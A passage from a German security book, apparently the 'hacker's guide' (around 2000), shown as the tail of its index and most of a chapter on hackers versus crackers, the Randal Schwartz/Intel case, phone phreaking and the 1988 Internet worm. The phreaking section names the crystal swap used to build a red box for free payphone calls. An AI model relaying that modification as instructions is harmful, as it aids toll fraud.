file:///d|/cool stuff/old/hack/index.htm (71 von 85) [19.04.2000 21:14:20]
VAX/VMS
T
taintperl
Sprachen, Erweiterungen und Sicherheit
TAMU
Trojanische Pferde
Tarnkappen-Viren
Destruktive Programme
Tastatureingaben, aufzeichnen
Microsoft
Tastatur-Recorder
Microsoft
Novell
Glossar
Tastatur-Recording
Microsoft
TCO
Microsoft
TCP (Transmission Control Protocol) 62,
Ein kurzer Überblick über TCP/IP
Geschichte
Die Geburt eines Netzwerks: Das Internet
TCP PortScanner
Scanner
TCP/IP
Ein kurzer Überblick über TCP/IP
Arbeitsweise
Ein kurzer Überblick über TCP/IP
further reading
Bibliographie zum Thema Sicherheit - weiterführende Literatur
Geschichte
Ein kurzer Überblick über TCP/IP
Plattformen
Ein kurzer Überblick über TCP/IP
Stichwortverzeichnis
file:///d|/cool stuff/old/hack/index.htm (72 von 85) [19.04.2000 21:14:20]
Ports
Ein kurzer Überblick über TCP/IP
Protokollstapel
Ein kurzer Überblick über TCP/IP
three-part handshake
Ein kurzer Überblick über TCP/IP
TCP/IP-Protokollfamilie
Ein kurzer Überblick über TCP/IP
Protokolltypen
Ein kurzer Überblick über TCP/IP
TCPFILTER
VAX/VMS
teardrop.c
Destruktive Programme
Telefon, Manipulierung
Hacker und Cracker
Telefonsystem knacken
Hacker und Cracker
Telnet
Ein kurzer Überblick über TCP/IP
Unix - die große Herausforderung
Telnet-basierte Angriffe
Anonymität wahren
NCSA
Telnet-basierte Angriffe
Patches
Telnet-basierte Angriffe
Telnet Authentication Option
Glossar
TEMPEST
Glossar
Tera Term
Telnet-basierte Angriffe
termcap
Telnet-basierte Angriffe
Stichwortverzeichnis
file:///d|/cool stuff/old/hack/index.htm (73 von 85) [19.04.2000 21:14:20]
Terminal-Emulation
Telnet-basierte Angriffe
Terminal-Mappings
Telnet-basierte Angriffe
Terminate-and-Stay-Resident
Ein kurzer Überblick über TCP/IP
Terminate-And-Stay-Resident-
Programme
Destruktive Programme
test-cgi
Anonymität wahren
Testlauf
Der entfernte Angriff
Textverarbeitungs-Reader
Zum Aufbau des Buches
TFTPD
Unix - die große Herausforderung
Thompson, Ken
Hacker und Cracker
Thompson, Linda
Anonymität wahren
Thunderbyte Anti-Virus
Destruktive Programme
Timbuktu Pro
Macintosh
Time Domain Reflector (TDR)
Sniffer
Time-to-Live-Limitationen
Ein kurzer Überblick über TCP/IP
TIS Firewall Toolkit
Firewalls
Firewalls
Torvalds, Linus
Hacker und Cracker
Traceroute
Stichwortverzeichnis
file:///d|/cool stuff/old/hack/index.htm (74 von 85) [19.04.2000 21:14:20]
Glossar
Transmission Control Protocol (TCP)
Ein kurzer Überblick über TCP/IP
Ein kurzer Überblick über TCP/IP
Geschichte
Die Geburt eines Netzwerks: Das Internet
TripWire
Unix - die große Herausforderung
Tripwire
Trojanische Pferde
Trojanische Pferde
Trojaner
Trojanische Pferde
Code
Trojanische Pferde
Definition
Trojanische Pferde
Herkunft
Trojanische Pferde
Sicherheitsrisiko
Trojanische Pferde
Trojanisches Pferd
Glossar
AOL Password-Trojaner
Trojanische Pferde
AOL4FREE-Trojaner
Trojanische Pferde
AOLGOLD-Trojaner
Trojanische Pferde
aufdecken
Trojanische Pferde
IRC-Trojaner
Trojanische Pferde
Objektvergleich
Trojanische Pferde
Stichwortverzeichnis
file:///d|/cool stuff/old/hack/index.htm (75 von 85) [19.04.2000 21:14:20]
PC CYBORG-Trojaner
Trojanische Pferde
quota-Trojaner
Trojanische Pferde
SATAN
Trojanische Pferde
StuffIt 4.5-Trojaner
Trojanische Pferde
Trojaner
Trojanische Pferde
ttysnoop
Telnet-basierte Angriffe
Tunneling
Glossar
U
UDP
Glossar
Überprüfen der Dateiintegrität,
Tripwire
Trojanische Pferde
Überwachungstools
ATP, Anti-Tampering Program
Trojanische Pferde
Hobgoblin
Trojanische Pferde
UIC
VAX/VMS
UID
Glossar
UMASK
Sprachen, Erweiterungen und Sicherheit
Umgebung
Telnet-basierte Angriffe
Umgebungsvariablen
Stichwortverzeichnis
file:///d|/cool stuff/old/hack/index.htm (76 von 85) [19.04.2000 21:14:20]
Telnet-basierte Angriffe
Unix
Paßwort-Knacker
Unix - die große Herausforderung
Applikationen
Die Geburt eines Netzwerks: Das Internet
Befehle, Entsprechungen in DOS
Die Geburt eines Netzwerks: Das Internet
Crypt
Paßwort-Knacker
Default-Konfigurationen
Unix - die große Herausforderung
Exploits
Unix - die große Herausforderung
Geschichte
Die Geburt eines Netzwerks: Das Internet
grundlegende Merkmale
Die Geburt eines Netzwerks: Das Internet
Installationsmedien
Unix - die große Herausforderung
Konsolensicherheit
Unix - die große Herausforderung
passwd
Paßwort-Knacker
Paßwortsicherheit
Unix - die große Herausforderung
Patches
Unix - die große Herausforderung
physikalische Sicherheit
Unix - die große Herausforderung
Remote-Schwachstellen
Unix - die große Herausforderung
Shell
Die Geburt eines Netzwerks: Das Internet
Sicherheit
Stichwortverzeichnis
file:///d|/cool stuff/old/hack/index.htm (77 von 85) [19.04.2000 21:14:20]
Die Geburt eines Netzwerks: Das Internet
Source-Code, Geschichte
Die Geburt eines Netzwerks: Das Internet
Versionen
Die Geburt eines Netzwerks: Das Internet
Unsignierter Code
Sprachen, Erweiterungen und Sicherheit
Usenet
Anonymität wahren
Anonymität wahren
E-Mail-Adresse
Anonymität wahren
Usenet-Beiträge, Archivierung
Anonymität wahren
Utilities
Convert
Warum ich dieses Buch geschrieben habe
Grab
Warum ich dieses Buch geschrieben habe
V
VAX
VAX/VMS
angreifen
VAX/VMS
Monitor
VAX/VMS
Mountd
VAX/VMS
Sicherheitslöcher
VAX/VMS
VAX/VMS
VAX/VMS
VAX-Server
VAX/VMS
Stichwortverzeichnis
file:///d|/cool stuff/old/hack/index.htm (78 von 85) [19.04.2000 21:14:20]
VBScript
Zum Aufbau des Buches
Sprachen, Erweiterungen und Sicherheit
Venema, Wietse
Hacker und Cracker
Verbindungen verketten
Anonymität wahren
Verborgene Dateien
Microsoft
Verschlüsselung
Paßwort-Knacker
Paßwort-Knacker
Sniffer
Glossar
IDEA
Paßwort-Knacker
vergleichender Prozeß
Paßwort-Knacker
Verschlüsselungsutility PGP
Paßwort-Knacker
Vertrauen
Spoofing-Attacken
Vertrauenswürdige Benutzer
Spoofing-Attacken
Vertrauenswürdiges System
Glossar
Verzeichnis verbergen
Microsoft
Virentypen
Destruktive Programme
Virtual Private Network (VPN)
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Virtuelle Domains
Telnet-basierte Angriffe
Virtuelles Privatnetzwerk
Stichwortverzeichnis
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Glossar
Virtuelles Terminal
Telnet-basierte Angriffe
Virus
Glossar
ViruSafe
Destruktive Programme
VirusScan
Destruktive Programme
Virustechnologie
Destruktive Programme
VMS
VAX/VMS
Protokollierung
VAX/VMS
Sicherheit
VAX/VMS
Überwachung
VAX/VMS
Zugriffskontrolle
VAX/VMS
VPN (Virtual Private Network)
Warum ich dieses Buch geschrieben habe
Glossar
vrfy
Anonymität wahren
VT220
VAX/VMS
VTI_BIN
Microsoft
VTI_PVT
Microsoft
W
Wahlweise Zugriffskontrolle
Stichwortverzeichnis
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Glossar
WAN
Glossar
Wank-Wurm
VAX/VMS
warez
Glossar
watchdog.com
VAX/VMS
WATCHER
VAX/VMS
Web Connector
Microsoft
Web sites, legal issues info
Computersicherheit und das Gesetz
Computersicherheit und das Gesetz
WebBots
Microsoft
Webbrowser
Anonymität wahren
webdist.cgi
Unix - die große Herausforderung
WEBHITS.EXE
Microsoft
Web-Hosting
Sicherheitskonzepte
WebSENSE
Interne Sicherheit
WebStar
Macintosh
Macintosh
White Papers von Axent
Inhalt der CD-ROM
WHOIS
Der entfernte Angriff
Stichwortverzeichnis
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WHOIS-Service
Anonymität wahren
Windows Enforcer
Inhalt der CD-ROM
Windows for Workgroups
Microsoft
Windows Task-Lock
Microsoft
Windows TaskLock
Inhalt der CD-ROM
Windows WorkStation Lock
Inhalt der CD-ROM
Windows_95
Microsoft
Service Packs
Microsoft
Zugriffskontroll-Software
Microsoft
Windows_NT
Microsoft
allgemeine Sicherheitslücken
Microsoft
Backup
Microsoft
Interne Sicherheit
Microsoft
NTFS
Microsoft
Online-Informationsquellen
Microsoft
Service Packs
Microsoft
Tools
Microsoft
Windows95 Bug Archive
Stichwortverzeichnis
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Das Sicherheitsloch
Windows-Software
Inhalt der CD-ROM
winnuke.c
Destruktive Programme
Wirtschaftsspionage
Warum ich dieses Buch geschrieben habe
WITSEC
Inhalt der CD-ROM
WnSyscon 0.95
Novell
Workstations
Die Geburt eines Netzwerks: Das Internet
worldpages.com
Anonymität wahren
Wortlisten
Paßwort-Knacker
WP WinSafe
Microsoft
WS_FTP
Microsoft
WSetPass 1.55
Novell
WSS (WebTrends Security Scanner)
Scanner
WUFTPD
Trojanische Pferde
Wurm
Glossar
X
X Window System
Die Geburt eines Netzwerks: Das Internet
Grundlagen
Die Geburt eines Netzwerks: Das Internet
Stichwortverzeichnis
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xdm
Unix - die große Herausforderung
XIT
Paßwort-Knacker
XSCAN
Scanner
X-STOP
Interne Sicherheit
X-Terminal
Telnet-basierte Angriffe
X-Windows
Unix - die große Herausforderung
Y
Y2K - das Jahr-2000-Problem
Kriegsführung im Internet
Kriegsführung im Internet
YAPS
Scanner
Z
Zeitbombe
Glossar
Zertifikat, digitales
Glossar
Zertifikation
Glossar
Zertifizierung
Sicherheitskonzepte
Sicherheitskonzepte
Zertifizierungsstelle
Glossar
ZipCrack
Paßwort-Knacker
Zugriff
Stichwortverzeichnis
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privilegierter
Microsoft
unautorisierter
Wer ist überhaupt anfällig für Angriffe durch Cracker?
Zugriffsbeschränkung
Microsoft
Zugriffskontrolle
Microsoft
Microsoft
Wer ist verantwortlich?
Glossar
biometrische
Glossar
wahlweise
Glossar
Zugriffskontrolliste
Glossar
Zugriffskontroll-Software
Microsoft
Markt+Technik, ein Imprint der Pearson Education Deutschland GmbH.
Elektronische Fassung des Titels: hacker's guide, ISBN: 3-8272-5460-4
Stichwortverzeichnis
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5
Hacker und Cracker
Dieses Kapitel gibt einige Beispiele für Hacker und Cracker und diskutiert den Unterschied zwischen
ihnen.
5.1 Was ist der Unterschied zwischen Hackern und
Crackern?
Schon seit vielen Jahren debattieren Internet-Begeisterte über den Unterschied zwischen Hackern und
Crackern. Hier ist mein Beitrag zur Debatte.
Wenn ich die Begriffe Hacker und Cracker definieren müßte, würde mein Fazit wie folgt lauten:
Ein Hacker ist eine Person, die sich für die geheimnisvollen und verborgenen Arbeitsweisen eines
jeglichen Betriebssystems interessiert. Hacker sind meistens Programmierer. Als solche erhalten
Hacker ein fortgeschrittenes Wissen über Betriebssysteme und Programmiersprachen. Sie können
Sicherheitslöcher in Systemen und die Gründe dafür entdecken. Hacker sind ständig auf der Suche
nach weiterem Wissen, teilen freimütig ihre Entdeckungen mit und würden nie und nimmer
absichtlich Daten zerstören.
Ein Cracker ist jemand, der böswillig in die Systemintegrität eines entfernten Rechners einbricht
bzw. sie auf andere Weise schädigt. Nachdem Cracker unautorisierten Zugang erhalten haben,
zerstören sie wichtige Daten, verweigern Dienste für legitime Benutzer oder verursachen
grundsätzliche Probleme im Arbeitslauf des angegriffenen Rechners. Cracker können sehr leicht
identifiziert werden: ihre Absichten sind böswillig.
Diese Definitionen sind zutreffend und präzise. In der Praxis sind solch strenge Definitionen aber leider
meist unbrauchbar. Bevor wir auf die Grauzonen zu sprechen kommen, lassen Sie uns zunächst einen
kurzen Blick auf einige andere traditionelle Ansätze zur Differenzierung zwischen diesen beiden Typen
werfen.
Hacker und Cracker
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5.1.1 Mens rea
Mens rea ist ein lateinischer Ausdruck, der den »schuldigen Geist« bezeichnet. Er umschreibt den
geistigen Zustand, in dem verbrecherische Absichten existieren. Mens rea auf die
Hacker-Cracker-Gleichung anzuwenden scheint relativ einfach zu sein. Wenn der Verdächtige
unabsichtlich in ein Computersystem eindrang - auf eine Art und Weise, die jeder gesetzestreue Bürger
zu der Zeit benutzt hätte - gibt es kein Mens rea und damit kein Verbrechen. Wenn dem Verdächtigen
jedoch bewußt war, daß ein Sicherheitsloch im Entstehen war - und er oder sie wissentlich raffinierte
Methoden zur Entstehung dieses Sicherheitslochs anwendete -, existiert Mens rea und damit auch ein
Verbrechen. Nach diesem Maß, zumindest aus juristischer Sicht, ist der erste ein unwissentlicher
Computerbenutzer (möglicherweise ein Hacker) und der andere ein Cracker.
Für einen Kläger ist der Mens-rea-Test eine klare Sache und unfehlbar. Und da der Nachweis von
Absicht oft die Voraussetzung für eine Anklage ist, verläßt er sich voll darauf. Ich bin allerdings der
Meinung, daß der Mens-rea-Ansatz zu starr ist.
Hacker und Cracker sind viel zu komplexe Kreaturen, um sie mit einer einzig gültigen Definition zu
beschreiben. Ein besserer Weg zur Unterscheidung dieser Individuen ist der Versuch, ihre Motivationen
und ihre Lebensweisen zu verstehen. Um dies zu erreichen, brauchen Sie nur die Werkzeuge verstehen,
die sie benutzen: Maschinensprachen.
5.1.2 Maschinensprachen
Eine Maschinensprache ist jede Ansammlung von Anweisungen und Bibliotheken, die, wenn sie
entsprechend angeordnet oder kompiliert werden, ein funktionierendes Computerprogramm schaffen
können. Die Bausteine von Maschinensprachen ändern sich nur wenig. Von daher hat jeder
Programmierer die gleichen Basiswerkzeuge zur Verfügung wie seine Kollegen. Hier ein paar Beispiele
für diese Werkzeuge:
Sprachbibliotheken - dies sind schon bestehende Funktionen, die übliche Operationen
durchführen, die gewöhnlich in jedem Computerprogramm integriert sind (z.B. Routinen zum
Lesen eines Directory). Sie werden dem Programmierer zur Verfügung gestellt, damit er sich auf
andere, weniger generelle Punkte eines Computerprogramms konzentrieren kann.
Compiler - dies sind Software-Programme, die den von einem Programmierer geschriebenen Code
in ein ausführbares Format konvertieren, das auf dieser oder jener Plattform laufen kann.
Ein Programmierer erhält zunächst nicht mehr als das (abgesehen von Handbüchern, die beschreiben,
wie man diese Werkzeuge benutzt). Was als nächstes geschieht, liegt in der Hand des jeweiligen
Programmierers. Er programmiert, entweder um zu lernen oder um zu entwickeln, ob bezahlt oder
unbezahlt. Während dieser Lern- oder Entwicklungsprozesse fügt der Programmierer ein Element hinzu,
das weder in Sprachbibliotheken noch in Compilern vorhanden ist: seine Kreativität. Das ist kurz gesagt
die Existenz des Programmierers.
Moderne Internet-Hacker greifen noch tiefer. Sie prüfen das System, oft auf einem Mikrokosmos-Level,
und finden Software-Löcher und logische Fehler. Sie schreiben Programme, um die Integrität anderer
Programme zu prüfen. Diese Aktivitäten zeigen, daß sie sich ständig um Verbesserung der jetzigen
Bedingungen bemühen. Ihre Arbeit ist Entwicklung und Verbesserung durch den Prozeß der Analyse.
Hacker und Cracker
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Cracker dagegen schreiben ihre Programme nur selten selbst. Statt dessen erbetteln, borgen oder stehlen
sie Werkzeuge von anderen. Sie benutzen diese Werkzeuge nicht, um das Sicherheitsniveau im Internet
zu verbessern, sondern um es zu zerstören. Sie lernen alles über Sicherheitslöcher und mögen äußerst
talentiert in der Ausübung ihrer dunklen Künste sein, aber der größte Erfolg für Cracker besteht darin,
Computer-Dienste für andere zu zerstören oder sonstwie zu beeinträchtigen. Von einem esoterischen
Standpunkt aus gesehen, ist dies der wahre Unterschied zwischen Hackern und Crackern.
Beide haben großen Einfluß auf das Internet. Wie Sie sich inzwischen wahrscheinlich denken können,
qualifizieren sich einige Individuen für beide Kategorien.
5.1.3 Randal Schwartz
Ein gutes Beispiel für diesen Punkt ist Randal Schwartz, ein Mann, der aufgrund seiner wichtigen
Beiträge für die Computergemeinde bekannt ist, insbesondere durch seine Vorträge über Perl (Practical
Extraction and Report Language). Schwartz hatte auf das Internet im allgemeinen einen sehr günstigen
Einfluß. Außerdem war er mehrfach als Berater für verschiedene renommierte Institutionen und
Unternehmen tätig, u.a. für die University of Buffalo, für Silicon Graphics (SGI), die Motorola
Corporation und für Air Net. Er ist ein extrem begabter Programmierer.
Hinweis:
Schwartz ist Autor oder Co-Autor einiger Bücher über Perl, u.a. Learning Perl (O'Reilly & Associates,
ISBN 1-56592-042-2), das auch als das »Llama- Buch« bezeichnet wird.
Ungeachtet seiner Beiträge bleibt Schwartz auf der dünnen Grenzlinie zwischen Hacker und Cracker. Im
Herbst 1993 war er schon seit einiger Zeit bei Intel in Oregon beschäftigt. In seiner Position als
Systemadministrator sollte er bestimmte Sicherheitsprozeduren realisieren. In seiner Zeugenaussage
würde er später erklären:
Ein Teil meiner Arbeit bestand darin, sicherzugehen, daß die Computersysteme sicher
waren, und auf die Informationen achtzugeben, die den ganzen Wert der Firma darstellen -
das Produkt der Firma ist das, was auf diesen Festplatten sitzt. Das ist, was die Leute
produzieren, wenn sie an ihren Workstations sitzen. Das Schützen dieser Informationen war
meine Aufgabe, sehen, was repariert werden mußte, was geändert werden mußte, was
installiert werden mußte, oder was so angepaßt werden mußte, daß die Informationen
geschützt waren.
Die folgenden Ereignisse kristallierten sich heraus:
Am 28. Oktober 1993 bemerkte ein anderer Systemadministrator bei Intel, daß auf einem Rechner
in seinem Verantwortungsbereich umfangreiche Prozesse abliefen.
Beim Untersuchen dieser Prozesse stellte der Systemadministrator fest, daß ein Programm namens
Crack auf dem Rechner lief, ein bekanntes Utility, um Paßwörter von Unix-Systemen zu knacken.
Dieses Utility wurde für Netzwerk-Paßwörter sowohl von Intel als auch von mindestens einem
anderen Unternehmen angewandt.
Weitere Untersuchungen zeigten, daß die Prozesse von Schwartz oder jemandem, der seinen
Benutzernamen und sein Paßwort benutzte, ausgeführt wurden.
Der Systemadministrator setzte sich mit einem Vorgesetzten in Verbindung, der bestätigte, daß
Hacker und Cracker
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Schwartz nicht dazu autorisiert war, Netzwerk-Paßwörter bei Intel zu knacken.
Am 1. November 1993 gab der Systemadministrator eine eidesstattliche Erklärung ab, die
ausreichte, um einen Durchsuchungsbefehl für Schwartz' Wohnung zu beantragen.
Dem Durchsuchungsbefehl wurde stattgegeben, und Schwartz wurde nach der Durchsuchung
verhaftet und auf Basis eines obskuren Gesetzes zu Computerverbrechen des Staates Oregon
angeklagt.
Der Fall ist bizarr. Da haben Sie einen talentierten und bekannten Programmierer, der beauftragt wurde,
die interne Sicherheit für eine große Firma zu bewahren. Er führt Prozeduren zum Testen der
Netzwerk-Sicherheit durch und wird schließlich für seine Bemühungen angeklagt. Anfänglich stellt sich
der Fall zumindest so dar. Aber leider ist dies noch nicht das Ende der Geschichte. Schwartz war nicht
dazu autorisiert, die Paßwort-Dateien zu knakken und es gibt einige Beweise dafür, daß er auch andere
Netzwerk-Sicherheitsrichtlinien verletzt hat.
Wenn wir Zeugenaussagen glauben können, hat Schwartz z.B. einmal ein Shell-Script installiert, das ihm
den Zugang zum Intel-Netzwerk auch von anderen Orten ermöglichte. Dieses Script öffnete ein winziges
Loch in Intels Firewall. Ein anderer Systemadministrator entdeckte das Programm, blockierte Schwartz'
Account und konfrontierte ihn damit. Schwartz stimmte zu, daß die Installation des Programms keine
gute Idee gewesen sei, und willigte ein, es nicht wieder zu benutzen. Einige Zeit später fand der gleiche
Systemadministrator heraus, daß Schwartz das Programm unter einem anderen Namen erneut installiert
hatte, um den Systemadministrator auf eine falsche Fährte zu locken.
Was heißt das alles? Meiner Meinung nach brach Randal Schwartz wahrscheinlich mehrmals
Intel-Richtlinien. Zeugenaussagen besagen jedoch, daß Schwartz diese Richtlinien niemals explizit
mitgeteilt wurden. Zumindest gab es kein Dokument, das ihm seine Aktivitäten klar verboten hätte.
Ebenso klar scheint es aber, daß Schwartz seine Autorität überschritten hat.
Wenn man den Fall objektiv betrachtet, kann man einige Schlüsse ziehen. Einer ist, daß die meisten
Systemadministratoren ein Tool wie Crack benutzen. Es ist ein übliches Verfahren zur Identifikation von
schwachen Paßwörtern, d.h. solchen, die leicht geknackt werden können. Zu jener Zeit waren derartige
Tools jedoch relativ neu in der Sicherheitsszene. Daher war die Praxis, seine eigenen Paßwörter zu
knacken, noch nicht allgemein als nützliches Verfahren akzeptiert (zumindest nicht bei Intel).
Der Fall Schwartz ärgerte viele Programmierer und Sicherheitsfachleute im ganzen Land. Wie Jeffrey
Kegler in seiner Analyse »Intel v. Randal Schwartz: Why care?« schrieb, war der Fall Schwartz eine
unheilvolle Entwicklung:
Ganz klar, Randal war jemand, der es eigentlich besser hätte wissen sollen. Und es ist eine
Tatsache, daß Randal der erste für legitime Aktivitäten weithin bekannte Internet-Experte
war, der sich dem Verbrechen zuwandte. Bis dahin waren Computer- Kriminelle meist
Teenager oder Möchtegern-Experten. Selbst der relativ anspruchsvolle Kevin Mitnick
machte stets nur als Verbrecher von sich reden. Vor Randal hätte niemals jemand auf der
»sauberen« Seite auf das Rufen der »dunklen« Seite geantwortet.
Wegweiser:
Sie finden das Papier von Kegler online unter http://www.lightlink.com/ spacenka/fors/intro.html.
Hacker und Cracker
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Denken Sie einen Moment über den Fall Schwartz nach. Betreiben Sie ein Netzwerk? Wenn ja, haben
Sie jemals Netzwerk-Paßwörter ohne vorherige ausdrückliche Autorisierung geknackt? Wenn ja, dann
wissen Sie genau, was das mit sich bringt. Glauben Sie, daß das ein Vergehen darstellt? Wenn Sie die
Gesetze schreiben würden, würde diese Art von Vergehen ein schweres Verbrechen darstellen?
Es war auf alle Fälle unglücklich für Schwartz, daß er der erste legitime Computer-Sicherheitsexperte
war, der als Cracker bezeichnet wurde. Glücklicherweise stellte sich die Erfahrung als sehr nützlich
heraus. Schwartz schaffte es, seine Karriere wieder anzutreiben und reist jetzt als Redner zum Thema
»Nur ein weiterer verurteilter Perl-Hacker« durch das ganze Land.
Tip:
Wenn Sie sich für diesen Fall interessieren, können Sie Abschriften der Verhandlung in komprimierter
Form aus dem Internet herunterladen. Das gesamte Dokument umfaßt 13 Tage der Zeugenaussagen
und Argumente. http://www.lightlink.com/spacenka/fors/court/court.html.
5.2 Wo fing das alles an?
Ein kompletter historischer Bericht über das Hacken und Cracken würde den Rahmen dieses Buches
sprengen, aber einige Hintergrundinformationen möchte ich Ihnen doch geben. Es begann mit der
Telefon-Technologie - eine Handvoll Jugendlicher quer über das Land knackten das Telefonsystem.
Diese Praxis wurde »Phreaking« genannt. Phreaking gilt heute als ein Akt, der die
Sicherheitsmaßnahmen einer Telefongesellschaft überlistet. (Obwohl Phreaking in Wirklichkeit mehr
darum geht, die Arbeitsweise des Telefonsystems zu verstehen, um es dann manipulieren zu können.)
Telefon-Phreaker benutzten verschiedene Tricks, um diese Aufgabe zu bewerkstelligen. Frühe Methoden
beinhalteten den Gebrauch von ratshack dialers oder red boxes (Ratshack war eine Bezeichnung für den
populären Elektronikhändler Radio Shack). Diese Boxen sind kleine elektronische Geräte, die digitale
Klänge oder Töne übertragen. Phreaker veränderten diese tragbaren Tonwahlgeräte, indem sie die
eingebauten Kristalle durch die Radio-Shack- Komponente #43-146 ersetzten.
Hinweis:
Für die wirklich Neugierigen war die Komponente #43-146 ein Kristall, der in vielen Geschäften für
Elektronik überall erhältlich war. Man konnte entweder einen 6.5-MHz- oder einen 6.5536-Kristall
verwenden, der anstelle des Kristalls eingesetzt wurde, der mit dem Wähler ausgeliefert wurde. Dieser
Austausch dauerte etwa 5 Minuten.
Mit dieser Änderung konnten Phreaker den Klang simulieren, der beim Einwerfen einer
Viertel-Dollar-Münze in ein öffentliches Telefon entsteht. Die übrigen Schritte waren sehr einfach. Die
Phreaker gingen zu einem öffentlichen Telefon und wählten eine Nummer. Das Telefon forderte dann
einen Betrag für den Anruf. Als Antwort setzte der Phreaker die red box ein, um das Einwerfen von Geld
zu simulieren. Das Resultat war kostenloser Telefonservice.
Genaue Anweisungen zum Bau solcher Geräte sind auf Tausenden von Sites im Internet zu finden. Diese
Vorgehensweise verbreitete sich in vielen Staaten derart, daß allein der Besitz eines manipulierten
Tonwählers Grund für Durchsuchung, Beschlagnahme und Verhaftung war. Im Laufe der Zeit wurden
die Technologien auf diesem Gebiet immer ausgefeilter. Phreaking wurde jetzt als Boxing bezeichnet
Hacker und Cracker
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und Boxing wurde immer beliebter. Dies resultierte in immer weiteren Fortschritten und eine ganze
Reihe von Boxen wurden entwickelt. Tabelle 5.1 listet einige dieser Boxen auf.
Tabelle 5.1: Boxen und ihre Verwendung
Box Was sie macht
Blue Besetzt Verbindungsleitungen über einen 2600-MHz-Ton und stellt damit dem Boxer die
gleichen Privilegien zur Verfügung wie einem durchschnittlichen Operator.
Dayglo Ermöglicht dem Benutzer, sich an die Leitung seines Nachbarn anzuschließen und diese zu
benutzen.
Aqua Umgeht angeblich FBI-Abhöreinrichtungen, indem es Spannung ableitet.
Mauve Hört eine andere Telefonleitung ab.
Chrome Ergreift Kontrolle über Verkehrssignale.
Es gibt mindestens 40 verschiedene Boxen oder Geräte innerhalb dieser Klasse. Viele der angewandten
Methoden sind heute unwirksam. Irgendwann während dieser Entwicklungen wurden Phreaking und
Computerprogrammierung miteinander kombiniert, es entstanden einige wirksame Tools. Ein Beispiel
hierfür ist BlueBEEP, ein umfassendes Phreaking-/ Hacking-Tool. BlueBeep verbindet viele
verschiedene Aspekte des Phreakings, auch die red box. BlueBEEP vermittelt Benutzern in Gebieten mit
alten Telefonleitungen sehr viel Macht über das Telefonsystem. Schauen Sie sich den
BlueBEEP-Eröffnungsbildschirm in Abbildung 5.1 an.
Abbildung 5.1: Der BlueBEEP-Eröffnungsbildschirm
BlueBEEP ähnelt vielen kommerziellen Applikationen und, um seinem Erfinder gerecht zu werden, es
funktioniert auch so gut. BlueBEEP läuft unter DOS oder unter Windows 95 / NT über eine DOS-Shell.
Bis heute ist BlueBEEP das am besten programmierte Phreaking-Tool, das jemals geschrieben wurde.
Der Entwickler schrieb BlueBEEP in PASCAL und Assembler. Das Programm stellt viele Optionen für
das Kontrollieren von Verbindungsleitungen, das Generieren von digitalen Tönen, das Abhören von
Telefongesprächen usw. usw. zur Verfügung. BlueBEEP wurde allerdings erst sehr spät entwickelt. Wir
müssen einige Jahre zurückgehen, um zu sehen, wie Telefon-Phreaking zum Internet-Cracking führte.
Der Prozeß war nur natürlich. Telefon-Phreaker versuchten alles mögliche, um neue Systeme zu finden.
Sie waren oft auf der Suche nach interessanten Tönen oder Verbindungen in Telefonleitungen. Einige
dieser Verbindungen erwiesen sich als Modem-Verbindungen.
Niemand kann genau sagen, wann es war, daß ein Phreaker sich erstmals in das Internet einloggte. Auf
alle Fälle geschah dies wohl eher zufällig. Vor Jahren war das Point-to-Point- Protokoll (PPP) noch nicht
verfügbar. Daher ist die Methode, mittels der ein Phreaker das Internet fand, nicht klar. Wahrscheinlich
passierte es, nachdem sich einer von ihnen über eine Direktwahl-Verbindung in einen Großrechner oder
eine Workstation irgendwo einloggte. Dieser Rechner war möglicherweise über Ethernet, ein zweites
Hacker und Cracker
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Modem oder einen anderen Port an das Internet angebunden. Daher fungierte der attackierte Rechner als
eine Brücke zwischen dem Phreaker und dem Internet. Nachdem der Phreaker diese Brücke überquert
hatte, fand er sich in einer Welt voller Computer, von denen die meisten wenig oder sogar keine
Sicherheitsvorkehrungen hatten. Stellen Sie sich das einmal vor: ein unerforschtes Grenzgebiet!
Der Rest ist Geschichte. Seitdem haben Cracker ihren Weg in jede vorstellbare Art von System
gefunden. Während der 80er Jahre begannen einige talentierte Programmierer ihr Dasein als Cracker. Es
war zu dieser Zeit, daß die Unterscheidung zwischen Hackern und Crackern erstmals
durcheinandergebracht wurde, und das hat sich bis heute nicht geändert. Ende der 80er Jahre wurden
diese Individuen interessant für die Medien, die alle, die Sicherheitssysteme durchbrachen, als Hacker
bezeichneten.
Und dann passierte etwas, das die amerikanische Computer-Gemeinde für immer auf diese Hacker
fokussieren sollte. Am 2. November 1988 ließ jemand einen Computer-Wurm im Internet los. Dieser
Wurm war ein sich selbst reproduzierendes Programm, das verwundbare Rechner suchte und sie
infizierte. Nachdem er einen Rechner infiziert hatte, suchte sich der Wurm weitere Ziele. Dieser Prozeß
setzte sich fort, bis Tausende von Rechnern betroffen waren. Innerhalb von Stunden stand das Internet
unter schwerer Belagerung. In seiner heute berühmten Analyse des Wurm-Zwischenfalls schrieb Donn
Seeley, damals in der Informatikabteilung der University of Utah:
Der 3. November 1988 wird als Schwarzer Donnerstag in die Geschichte eingehen.
Systemadministratoren im ganzen Land kamen an diesem Tag zu ihrer Arbeit und
entdeckten, daß ihre Computer-Netzwerke mit einer schweren Arbeitslast beschäftigt waren.
Wenn sie es schafften, sich einzuloggen und eine Systemzustandsübersicht zu generieren,
sahen sie, daß das System Dutzende oder Hunderte von Shell-Prozessen durchlief. Wenn sie
versuchten, diese Prozesse zu stoppen, sahen sie, daß neue Prozesse schneller gestartet
wurden, als sie sie stoppen konnten.
Der Wurm wurde von einem Computer im Massachusetts Institute of Technology (MIT) gestartet.
Berichten zufolge funktionierte das Protokollsystem auf diesem Computer nicht richtig bzw. war falsch
konfiguriert. Daher konnte der Täter nicht identifiziert werden. (Seeley berichtet, daß die ersten
Infizierungen im Labor für Künstliche Intelligenz am MIT, an der University of California und bei der
Rand Corporation in Kalifornien entdeckt wurden.) Wie zu erwarten, erstarrte die Computer-Gemeinde
anfänglich in einem Schockzustand. Aber dieser Schockzustand hielt nicht lange an, wie Eugene
Spafford, ein bekannter Informatik-Professor der Purdue University, in seinem Bericht »The Internet
Worm: An Analysis« erklärte. Programmierer aus dem ganzen Land arbeiteten fieberhaft an einer
Lösung:
Bis Mittwoch nacht hatten Angestellte der University of California in Berkeley und des MIT
Kopien des Programms gemacht und fingen mit der Analyse an. Auch anderswo begannen
Leute damit, das Programm zu untersuchen, und entwickelten Methoden, es auszulöschen.
Ein eher unwahrscheinlicher Kandidat kam unter Verdacht: ein junger Informatikstudent der Cornell
University. Unwahrscheinlich aus zwei Gründen: Erstens war er ein guter Student ohne jeglichen
Hintergrund, der ein derartiges Verhalten rechtfertigen würde. Zweitens - noch wichtiger - war der Vater
